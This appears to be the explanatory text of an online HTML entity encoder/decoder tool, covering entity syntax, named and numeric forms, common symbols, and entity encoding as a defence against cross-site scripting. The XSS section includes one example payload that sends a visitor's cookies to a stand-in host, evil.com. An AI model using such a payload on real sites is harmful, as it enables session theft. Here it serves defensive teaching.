What Are HTML Entities?
HTML entities are special character sequences used to represent characters that either have reserved meaning in HTML syntax or cannot be easily typed on a standard keyboard. Every HTML entity begins with an ampersand (&) and ends with a semicolon (;). Between these delimiters sits either a descriptive name (a named entity) or a numeric code point reference (a numeric entity). When a browser encounters an entity in the HTML source, it replaces it with the corresponding character before rendering the page.
The most fundamental HTML entities are those for the five characters that have special meaning in HTML markup: the ampersand (&), less-than sign (<), greater-than sign (>), double quotation mark ("), and apostrophe ('). These characters serve as delimiters and operators in HTML syntax. If you write a literal < in your HTML, the browser interprets it as the start of an HTML tag. To display an actual less-than sign as text content, you must use the entity < instead.
Beyond the five core reserved characters, hundreds of named entities exist for symbols, mathematical operators, currency signs, arrows, typographic marks, Greek letters, and other special characters. These entities provide a reliable way to include characters that might not be available in every font or character encoding, and they make the source code more readable to developers who can immediately see what character is intended.
Why HTML Entities Exist
HTML entities solve several practical problems that arise when working with web content. The most obvious problem is the ambiguity of reserved characters. HTML uses angle brackets to delimit tags, ampersands to begin entity references, and quotation marks to delimit attribute values. Without entities, there would be no way to distinguish between structural markup and literal text content containing those same characters.
Consider a tutorial page that needs to show the HTML code <p>Hello</p> as visible text. Without entities, the browser would interpret the angle brackets as actual paragraph tags and render the word "Hello" as a paragraph rather than showing the raw markup. By writing <p>Hello</p> in the source, you tell the browser to display the angle brackets as text characters rather than parsing them as tag delimiters.
A second reason entities exist is character encoding compatibility. In the early days of the web, different systems used different character encodings. A file encoded in ISO-8859-1 (Latin-1) could represent Western European characters but not Asian scripts, Cyrillic, or many symbols. HTML entities provided a way to include any Unicode character in any document regardless of the file's encoding, because the entity reference itself consists entirely of ASCII characters that are universally supported. While modern web development has largely standardized on UTF-8 encoding, entities remain useful for clarity and for edge cases where encoding issues might arise.
A third reason is readability and intent. When a developer writes – in source code, it is immediately clear that the intended character is an en dash, not a regular hyphen. Many special characters look similar or identical in code editors but behave differently in rendered output. Entities make the author's intent explicit and help prevent subtle typographic errors from going unnoticed during code review.
Named vs Numeric Entities
HTML supports two fundamentally different ways to reference characters via entities: named references and numeric references. Both produce the same rendered result, but they differ in syntax, readability, and scope.
Named entities use a human-readable identifier between the ampersand and semicolon. For example, © represents the copyright symbol, € represents the Euro sign, and ♥ represents the heart suit symbol. Named entities are easier to read, write, and remember. However, only a limited set of characters have named entities defined in the HTML specification. The HTML5 specification defines approximately 2,200 named character references, but this still covers only a fraction of the full Unicode character set.
Numeric entities reference characters by their Unicode code point. They come in two flavors: decimal and hexadecimal. A decimal entity uses the format &#number; where the number is the decimal Unicode code point. For example, © represents the copyright symbol (Unicode code point 169). A hexadecimal entity uses the format &#xhex; where the hex value is the hexadecimal Unicode code point. The same copyright symbol would be © in hexadecimal notation.
Numeric entities have a significant advantage: they can represent any character in the entire Unicode standard, including emoji, CJK ideographs, mathematical symbols, and characters from ancient scripts. If a character has a Unicode code point, it can be expressed as a numeric entity regardless of whether a named entity exists for it. Hexadecimal notation is particularly convenient because Unicode code points are conventionally written in hexadecimal (e.g., U+00A9 for the copyright symbol), making the conversion to an HTML entity straightforward.
In practice, most developers use named entities for common characters because of their readability, and fall back to numeric entities only when a named entity is not available. This tool's default "Named entities" mode follows that convention: it uses named entities from a built-in lookup table for well-known characters and automatically falls back to decimal numeric entities for any character not in the table.
Common HTML Entities Reference
The table above this section provides a quick reference for the most frequently used HTML entities. Here is additional context on the categories of characters that developers encounter most often.
Reserved HTML characters. The five characters with special meaning in HTML -- ampersand, less-than, greater-than, double quote, and apostrophe -- are the entities you will use most frequently. Any time user-generated content or dynamic data is inserted into an HTML page, these five characters must be encoded to prevent the browser from misinterpreting them as markup.
Typographic characters. Professional web typography often requires characters that are distinct from their basic ASCII approximations. An em dash (—) is not the same as a hyphen or two hyphens. Proper quotation marks (“ and ”) differ from straight quotes. An ellipsis (…) is a single character, not three periods. Using the correct entities for these characters improves the typographic quality of your content.
Currency symbols. While common currency symbols like the dollar sign are available on most keyboards and are safe in HTML, others like the Euro sign (€), Pound sign (£), and Yen sign (¥) benefit from entity encoding to ensure they render correctly across all platforms and character encodings.
Mathematical and technical symbols. Characters like the multiplication sign (×), division sign (÷), plus-minus (±), and degree symbol (°) have named entities that are clearer in source code than their Unicode characters, which can be visually confused with basic ASCII characters in many code editors.
XSS Prevention and Entity Encoding
One of the most important applications of HTML entity encoding is preventing Cross-Site Scripting (XSS) attacks. XSS is a class of web security vulnerability where an attacker injects malicious code -- typically JavaScript -- into a web page that other users view. If user-supplied input is inserted into HTML without proper encoding, an attacker can craft input that breaks out of its intended context and executes arbitrary scripts in the victim's browser.
Consider a web application that displays a user's name on their profile page. If the application simply inserts the name into the HTML without encoding, a malicious user could set their name to <script>document.location='https://evil.com/steal?c='+document.cookie</script>. When another user views this profile, their browser would execute the script, potentially sending their session cookie to the attacker's server.
HTML entity encoding is the primary defense against this class of attack. By encoding the five critical characters (&, <, >, ", ') before inserting any user-supplied data into HTML, you ensure that the data is treated as text content rather than markup. The malicious script tag becomes <script>...</script>, which the browser renders as visible text rather than executing as code.
However, entity encoding alone is not a complete XSS prevention strategy. The encoding must be applied correctly depending on the context where the data is inserted. Data placed inside an HTML attribute needs attribute-context encoding. Data inserted into a JavaScript string needs JavaScript string escaping. Data placed into a URL needs URL encoding. Data inside CSS needs CSS escaping. Using the wrong encoding for the context can leave the application vulnerable even if some encoding is applied.
Modern web frameworks like React, Angular, and Vue automatically apply HTML entity encoding to dynamic content by default, significantly reducing the risk of XSS. However, developers still need to understand entity encoding to recognize when they are bypassing these protections (e.g., React's dangerouslySetInnerHTML or Angular's [innerHTML] binding), to handle contexts other than HTML text content, and to work with legacy code or template engines that do not auto-escape.
Server-side frameworks similarly provide encoding functions: PHP has htmlspecialchars() and htmlentities(), Python has html.escape(), Java has OWASP's Encode.forHtml(), and .NET has HttpUtility.HtmlEncode(). Always use your framework's built-in encoding functions rather than writing your own, as hand-rolled encoding routines frequently miss edge cases.
About This Tool
This HTML entity encoder and decoder runs entirely in your browser using JavaScript. No data is transmitted to any server -- your text stays on your device. The tool supports three encoding modes: named entities (using descriptive names like & for the most common characters with a fallback to decimal for others), decimal numeric entities (e.g., &), and hexadecimal numeric entities (e.g., &). Choose the mode that best fits your use case.
The encoder processes every character in your input, replacing those that have HTML entity representations while leaving standard ASCII letters, digits, and safe punctuation untouched. The decoder leverages the browser's own HTML parsing engine to accurately resolve all entity types -- named, decimal, and hexadecimal -- including entities defined in the HTML5 specification that custom parsers often miss.
The swap button lets you quickly move the output back to the input field for further processing or round-trip verification. The copy button places the result on your clipboard with a single click. The clear button resets both fields and any error messages. This tool is particularly useful for web developers preparing content for HTML documents, sanitizing user input for display, debugging entity-encoded strings, and looking up entity codes for special characters.